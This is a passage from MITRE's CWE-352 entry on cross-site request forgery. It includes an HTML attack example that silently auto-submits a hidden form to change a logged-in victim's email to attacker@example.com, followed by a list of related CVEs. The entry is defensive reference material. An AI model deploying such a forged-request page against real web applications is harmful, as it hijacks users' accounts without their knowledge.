872
The attacker can then host code that will silently change the username and email address of any
user that visits the page while remaining logged in to the target web application. The code might be
an innocent-looking web page such as:
Example Language: HTML (Attack)
<SCRIPT>
function SendAttack () {
form.email = "attacker@example.com";
// send to profile.php
form.submit();
}
</SCRIPT>
<BODY onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>
Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not
notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically
called when the victim loads the web page.
Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid
user session has been established, then update the email address to the attacker's own address.
At this stage, the user's identity has been compromised, and messages sent through this profile
could be sent to the attacker's address.
Observed Examples
Reference Description
CVE-2004-1703 Add user accounts via a URL in an img tag
https://www.cve.org/CVERecord?id=CVE-2004-1703
CVE-2004-1995 Add user accounts via a URL in an img tag
https://www.cve.org/CVERecord?id=CVE-2004-1995
CVE-2004-1967 Arbitrary code execution by specifying the code in a crafted img tag or URL
https://www.cve.org/CVERecord?id=CVE-2004-1967
CVE-2004-1842 Gain administrative privileges via a URL in an img tag
https://www.cve.org/CVERecord?id=CVE-2004-1842
CVE-2005-1947 Delete a victim's information via a URL or an img tag
https://www.cve.org/CVERecord?id=CVE-2005-1947
CVE-2005-2059 Change another user's settings via a URL or an img tag
https://www.cve.org/CVERecord?id=CVE-2005-2059
CVE-2005-1674 Perform actions as administrator via a URL or an img tag
https://www.cve.org/CVERecord?id=CVE-2005-1674
CVE-2009-3520 modify password for the administrator
https://www.cve.org/CVERecord?id=CVE-2009-3520
CVE-2009-3022 CMS allows modification of configuration via CSRF attack against the
administrator
https://www.cve.org/CVERecord?id=CVE-2009-3022
CVE-2009-3759 web interface allows password changes or stopping a virtual machine via
CSRF
https://www.cve.org/CVERecord?id=CVE-2009-3759
MemberOf Relationships
This MemberOf relationships table shows additional CWE Catgeories and Views that reference this
weakness as a member. This information is often useful in understanding where a weakness fits
within the context of external information sources.
CWE Version 4.14
CWE-352: Cross-Site Request Forgery (CSRF)
CWE-352: Cross-Site Request Forgery (CSRF)